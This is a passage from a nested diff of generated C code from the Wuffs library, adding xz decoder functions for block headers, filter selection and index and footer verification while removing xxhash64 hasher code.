self->private_data.s_decode_block_header_with_padding.v_padded_size_have; ++ v_padded_size_want = self->private_data.s_decode_block_header_with_padding.v_padded_size_want; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-#define WUFFS_XXHASH64__INITIAL_V0 6983438078262162902 ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ v_padded_size_want = ((uint64_t)((((uint64_t)(v_c8)) * 4u) - 1u)); ++ while (true) { ++ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_1 = wuffs_xz__decoder__decode_block_header_sans_padding(self, a_src); ++ v_status = t_1; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u64__sat_add_indirect(&v_padded_size_have, wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)))); ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ } ++ if (v_padded_size_have > v_padded_size_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ while (v_padded_size_have < v_padded_size_want) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ v_padded_size_have += 1u; ++ } + +-#define WUFFS_XXHASH64__INITIAL_V1 14029467366897019727 ++ ok: ++ self->private_impl.p_decode_block_header_with_padding = 0; ++ goto exit; ++ } + +-#define WUFFS_XXHASH64__INITIAL_V2 0 ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_block_header_with_padding = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_block_header_with_padding.v_padded_size_have = v_padded_size_have; ++ self->private_data.s_decode_block_header_with_padding.v_padded_size_want = v_padded_size_want; + +-#define WUFFS_XXHASH64__INITIAL_V3 7046029288634856825 ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } + +-// ---------------- Private Initializer Prototypes ++ return status; ++} + +-// ---------------- Private Function Prototypes ++// -------- func xz.decoder.decode_block_header_sans_padding + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_xxhash64__hasher__up( +- wuffs_xxhash64__hasher* self, +- wuffs_base__slice_u8 a_x); +- +-// ---------------- VTables +- +-const wuffs_base__hasher_u64__func_ptrs +-wuffs_xxhash64__hasher__func_ptrs_for__wuffs_base__hasher_u64 = { +- (uint64_t(*)(const void*))(&wuffs_xxhash64__hasher__checksum_u64), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_xxhash64__hasher__get_quirk), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_xxhash64__hasher__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- wuffs_base__slice_u8))(&wuffs_xxhash64__hasher__update), +- (uint64_t(*)(void*, +- wuffs_base__slice_u8))(&wuffs_xxhash64__hasher__update_u64), +-}; ++static wuffs_base__status ++wuffs_xz__decoder__decode_block_header_sans_padding( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-// ---------------- Initializer Implementations ++ uint8_t v_c8 = 0; ++ uint32_t v_c32 = 0; ++ uint32_t v_alignment = 0; ++ uint8_t v_flags = 0; ++ uint8_t v_filter_id = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_shift = 0; ++ uint32_t v_f = 0; ++ uint32_t v_k = 0; + +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_xxhash64__hasher__initialize( +- wuffs_xxhash64__hasher* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_block_header_sans_padding; ++ if (coro_susp_point) { ++ v_flags = self->private_data.s_decode_block_header_sans_padding.v_flags; ++ v_filter_id = self->private_data.s_decode_block_header_sans_padding.v_filter_id; ++ v_shift = self->private_data.s_decode_block_header_sans_padding.v_shift; ++ v_f = self->private_data.s_decode_block_header_sans_padding.v_f; + } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_flags = t_0; + } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ self->private_impl.f_num_non_final_filters = ((uint32_t)(((uint8_t)(v_flags & 3u)))); ++ if (((uint8_t)(v_flags & 60u)) != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ self->private_impl.f_block_has_compressed_size = (((uint8_t)(v_flags & 64u)) != 0u); ++ if (self->private_impl.f_block_has_compressed_size) { ++ self->private_impl.f_block_compressed_size = 0u; ++ v_shift = 0u; ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (v_shift <= 56u) { ++ self->private_impl.f_block_compressed_size |= (((uint64_t)(((uint8_t)(v_c8 & 127u)))) << v_shift); ++ if (v_c8 >= 128u) { ++ v_shift += 7u; ++ continue; ++ } else if ((v_c8 == 0u) && (v_shift > 0u)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ break; ++ } else if (v_c8 != 1u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ self->private_impl.f_block_compressed_size |= (((uint64_t)(1u)) << 63u); ++ break; ++ } ++ } ++ self->private_impl.f_block_has_uncompressed_size = (((uint8_t)(v_flags & 128u)) != 0u); ++ if (self->private_impl.f_block_has_uncompressed_size) { ++ self->private_impl.f_block_uncompressed_size = 0u; ++ v_shift = 0u; ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if (v_shift <= 56u) { ++ self->private_impl.f_block_uncompressed_size |= (((uint64_t)(((uint8_t)(v_c8 & 127u)))) << v_shift); ++ if (v_c8 >= 128u) { ++ v_shift += 7u; ++ continue; ++ } else if ((v_c8 == 0u) && (v_shift > 0u)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ break; ++ } else if (v_c8 != 1u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ self->private_impl.f_block_uncompressed_size |= (((uint64_t)(1u)) << 63u); ++ break; ++ } ++ } ++ self->private_impl.f_bcj_x86_prev_mask = 0u; ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_non_final_filters__choosy_default); ++ v_f = 0u; ++ while (v_f < self->private_impl.f_num_non_final_filters) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_filter_id = t_3; ++ } ++ if (v_filter_id == 33u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_filter); ++ goto exit; ++ } else if (v_filter_id == 3u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ if (v_c8 != 1u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_filter); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; ++ } ++ self->private_impl.f_filters[v_f] = ((((uint32_t)(v_c8)) << 8u) | 3u); ++ v_k = 0u; ++ while (v_k < 256u) { ++ self->private_data.f_filter_data[v_f][v_k] = 0u; ++ v_k += 1u; ++ } ++ } else if ((v_filter_id < 3u) || (11u < v_filter_id)) { ++ status = wuffs_base__make_status(wuffs_xz__error__unsupported_filter); ++ goto exit; ++ } else if (v_f != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__unsupported_filter_combination); ++ goto exit; ++ } else { ++ self->private_impl.f_filters[v_f] = ((uint32_t)(v_filter_id)); ++ if (v_filter_id == 4u) { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_04_x86); ++ } else if (v_filter_id == 5u) { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_05_powerpc); ++ } else if (v_filter_id == 6u) { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_06_ia64); ++ } else if (v_filter_id == 7u) { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_07_arm); ++ } else if (v_filter_id == 8u) { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_08_armthumb); ++ } else if (v_filter_id == 9u) { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_09_sparc); ++ } else if (v_filter_id == 10u) { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_0a_arm64); ++ } else { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_0b_riscv); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; ++ } ++ if (v_c8 == 0u) { ++ self->private_impl.f_bcj_pos = 0u; ++ } else if (v_c8 == 4u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ uint32_t t_7; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_7 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_block_header_sans_padding.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_block_header_sans_padding.scratch; ++ uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; ++ if (num_bits_7 == 24) { ++ t_7 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_7 += 8u; ++ *scratch |= ((uint64_t)(num_bits_7)) << 56; ++ } ++ } ++ v_c32 = t_7; ++ } ++ v_alignment = ((uint32_t)(WUFFS_XZ__BCJ_OFFSET_ALIGNMENT[v_filter_id])); ++ if (v_alignment > 0u) { ++ if ((v_c32 % v_alignment) != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_bcj_offset); ++ goto exit; ++ } ++ } ++ self->private_impl.f_bcj_pos = v_c32; ++ } else { ++ status = wuffs_base__make_status(wuffs_xz__error__unsupported_filter); ++ goto exit; ++ } ++ } ++ v_f += 1u; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_8 = *iop_a_src++; ++ v_filter_id = t_8; ++ } ++ if (v_filter_id == 33u) { ++ if (self->private_impl.f_lzma_needs_reset) { ++ wuffs_private_impl__ignore_status(wuffs_lzma__decoder__initialize(&self->private_data.f_lzma, ++ sizeof (wuffs_lzma__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_9 = *iop_a_src++; ++ v_c8 = t_9; ++ } ++ if (v_c8 != 1u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_filter); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_10 = *iop_a_src++; ++ v_c8 = t_10; ++ } ++ v_status = wuffs_lzma__decoder__set_quirk(&self->private_data.f_lzma, 1348001793u, (2u | (((uint64_t)(v_c8)) << 8u))); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_filter); ++ goto exit; ++ } ++ } else if ((v_filter_id < 3u) || (11u < v_filter_id)) { ++ status = wuffs_base__make_status(wuffs_xz__error__unsupported_filter); ++ goto exit; + } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ status = wuffs_base__make_status(wuffs_xz__error__bad_filter); ++ goto exit; + } +- } + +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__hasher_u64.vtable_name = +- wuffs_base__hasher_u64__vtable_name; +- self->private_impl.vtable_for__wuffs_base__hasher_u64.function_pointers = +- (const void*)(&wuffs_xxhash64__hasher__func_ptrs_for__wuffs_base__hasher_u64); +- return wuffs_base__make_status(NULL); +-} +- +-wuffs_xxhash64__hasher* +-wuffs_xxhash64__hasher__alloc(void) { +- wuffs_xxhash64__hasher* x = +- (wuffs_xxhash64__hasher*)(calloc(sizeof(wuffs_xxhash64__hasher), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_xxhash64__hasher__initialize( +- x, sizeof(wuffs_xxhash64__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; ++ goto ok; ++ ok: ++ self->private_impl.p_decode_block_header_sans_padding = 0; ++ goto exit; + } +- return x; +-} +- +-size_t +-sizeof__wuffs_xxhash64__hasher(void) { +- return sizeof(wuffs_xxhash64__hasher); +-} + +-// ---------------- Function Implementations +- +-// -------- func xxhash64.hasher.get_quirk ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_block_header_sans_padding = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_block_header_sans_padding.v_flags = v_flags; ++ self->private_data.s_decode_block_header_sans_padding.v_filter_id = v_filter_id; ++ self->private_data.s_decode_block_header_sans_padding.v_shift = v_shift; ++ self->private_data.s_decode_block_header_sans_padding.v_f = v_f; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash64__hasher__get_quirk( +- const wuffs_xxhash64__hasher* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- return 0u; ++ return status; + } + +-// -------- func xxhash64.hasher.set_quirk ++// -------- func xz.decoder.verify_index + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_xxhash64__hasher__set_quirk( +- wuffs_xxhash64__hasher* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); +-} ++static wuffs_base__status ++wuffs_xz__decoder__verify_index( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-// -------- func xxhash64.hasher.update ++ uint8_t v_c8 = 0; ++ uint32_t v_shift = 0; ++ uint32_t v_hash = 0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_xxhash64__hasher__update( +- wuffs_xxhash64__hasher* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return wuffs_base__make_empty_struct(); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } + +- if ((self->private_impl.f_length_modulo_u64 == 0u) && ! self->private_impl.f_length_overflows_u64) { +- self->private_impl.f_v0 = 6983438078262162902u; +- self->private_impl.f_v1 = 14029467366897019727u; +- self->private_impl.f_v2 = 0u; +- self->private_impl.f_v3 = 7046029288634856825u; ++ uint32_t coro_susp_point = self->private_impl.p_verify_index; ++ if (coro_susp_point) { ++ v_shift = self->private_data.s_verify_index.v_shift; + } +- wuffs_xxhash64__hasher__up(self, a_x); +- return wuffs_base__make_empty_struct(); +-} ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-// -------- func xxhash64.hasher.update_u64 ++ if ( ! self->private_impl.f_started_verify_index) { ++ self->private_impl.f_started_verify_index = true; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ self->private_impl.f_num_index_blocks = 0u; ++ v_shift = 0u; ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (v_shift <= 56u) { ++ self->private_impl.f_num_index_blocks |= (((uint64_t)(((uint8_t)(v_c8 & 127u)))) << v_shift); ++ if (v_c8 >= 128u) { ++ v_shift += 7u; ++ continue; ++ } else if ((v_c8 == 0u) && (v_shift > 0u)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ break; ++ } else if (v_c8 != 1u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ self->private_impl.f_num_index_blocks |= (((uint64_t)(1u)) << 63u); ++ break; ++ } ++ if (self->private_impl.f_num_index_blocks != self->private_impl.f_num_actual_blocks) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ } ++ while (self->private_impl.f_num_index_blocks > 0u) { ++ self->private_impl.f_num_index_blocks -= 1u; ++ self->private_impl.f_index_block_compressed_size = 0u; ++ v_shift = 0u; ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if (v_shift <= 56u) { ++ self->private_impl.f_index_block_compressed_size |= (((uint64_t)(((uint8_t)(v_c8 & 127u)))) << v_shift); ++ if (v_c8 >= 128u) { ++ v_shift += 7u; ++ continue; ++ } else if ((v_c8 == 0u) && (v_shift > 0u)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ break; ++ } else if (v_c8 != 1u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ self->private_impl.f_index_block_compressed_size |= (((uint64_t)(1u)) << 63u); ++ break; ++ } ++ self->private_impl.f_index_block_uncompressed_size = 0u; ++ v_shift = 0u; ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ if (v_shift <= 56u) { ++ self->private_impl.f_index_block_uncompressed_size |= (((uint64_t)(((uint8_t)(v_c8 & 127u)))) << v_shift); ++ if (v_c8 >= 128u) { ++ v_shift += 7u; ++ continue; ++ } else if ((v_c8 == 0u) && (v_shift > 0u)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ break; ++ } else if (v_c8 != 1u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ self->private_impl.f_index_block_uncompressed_size |= (((uint64_t)(1u)) << 63u); ++ break; ++ } ++ self->private_impl.f_verification_want_total_sizes[0u] += self->private_impl.f_index_block_compressed_size; ++ v_hash = ((uint32_t)((self->private_impl.f_index_block_compressed_size ^ (self->private_impl.f_index_block_compressed_size >> 32u)))); ++ v_hash *= 3432918353u; ++ v_hash = (((uint32_t)(v_hash << 15u)) | (v_hash >> 17u)); ++ v_hash *= 461845907u; ++ v_hash ^= self->private_impl.f_verification_want_hashed_sizes[0u]; ++ v_hash = (((uint32_t)(v_hash << 13u)) | (v_hash >> 19u)); ++ self->private_impl.f_verification_want_hashed_sizes[0u] = ((uint32_t)(((uint32_t)(v_hash * 5u)) + 3864292196u)); ++ self->private_impl.f_verification_want_total_sizes[1u] += self->private_impl.f_index_block_uncompressed_size; ++ v_hash = ((uint32_t)((self->private_impl.f_index_block_uncompressed_size ^ (self->private_impl.f_index_block_uncompressed_size >> 32u)))); ++ v_hash *= 3432918353u; ++ v_hash = (((uint32_t)(v_hash << 15u)) | (v_hash >> 17u)); ++ v_hash *= 461845907u; ++ v_hash ^= self->private_impl.f_verification_want_hashed_sizes[1u]; ++ v_hash = (((uint32_t)(v_hash << 13u)) | (v_hash >> 19u)); ++ self->private_impl.f_verification_want_hashed_sizes[1u] = ((uint32_t)(((uint32_t)(v_hash * 5u)) + 3864292196u)); ++ } ++ if ((self->private_impl.f_verification_have_hashed_sizes[0u] != self->private_impl.f_verification_want_hashed_sizes[0u]) || ++ (self->private_impl.f_verification_have_hashed_sizes[1u] != self->private_impl.f_verification_want_hashed_sizes[1u]) || ++ (self->private_impl.f_verification_have_total_sizes[0u] != self->private_impl.f_verification_want_total_sizes[0u]) || ++ (self->private_impl.f_verification_have_total_sizes[1u] != self->private_impl.f_verification_want_total_sizes[1u])) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash64__hasher__update_u64( +- wuffs_xxhash64__hasher* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return 0; ++ goto ok; ++ ok: ++ self->private_impl.p_verify_index = 0; ++ goto exit; + } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return 0; ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_verify_index = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_verify_index.v_shift = v_shift; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- wuffs_xxhash64__hasher__update(self, a_x); +- return wuffs_xxhash64__hasher__checksum_u64(self); ++ return status; + } + +-// -------- func xxhash64.hasher.up ++// -------- func xz.decoder.verify_footer + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_xxhash64__hasher__up( +- wuffs_xxhash64__hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint64_t v_new_lmu = 0; +- uint64_t v_buf_u64 = 0; +- uint32_t v_buf_len = 0; +- uint64_t v_v0 = 0; +- uint64_t v_v1 = 0; +- uint64_t v_v2 = 0; +- uint64_t v_v3 = 0; +- wuffs_base__slice_u8 v_p = {0}; ++static wuffs_base__status ++wuffs_xz__decoder__verify_footer( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- v_new_lmu = ((uint64_t)(self->private_impl.f_length_modulo_u64 + ((uint64_t)(a_x.len)))); +- self->private_impl.f_length_overflows_u64 = ((v_new_lmu < self->private_impl.f_length_modulo_u64) || self->private_impl.f_length_overflows_u64); +- self->private_impl.f_length_modulo_u64 = v_new_lmu; +- while (true) { +- if (self->private_impl.f_buf_len >= 32u) { +- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[0u])) | +- (((uint64_t)(self->private_impl.f_buf_data[1u])) << 8u) | +- (((uint64_t)(self->private_impl.f_buf_data[2u])) << 16u) | +- (((uint64_t)(self->private_impl.f_buf_data[3u])) << 24u) | +- (((uint64_t)(self->private_impl.f_buf_data[4u])) << 32u) | +- (((uint64_t)(self->private_impl.f_buf_data[5u])) << 40u) | +- 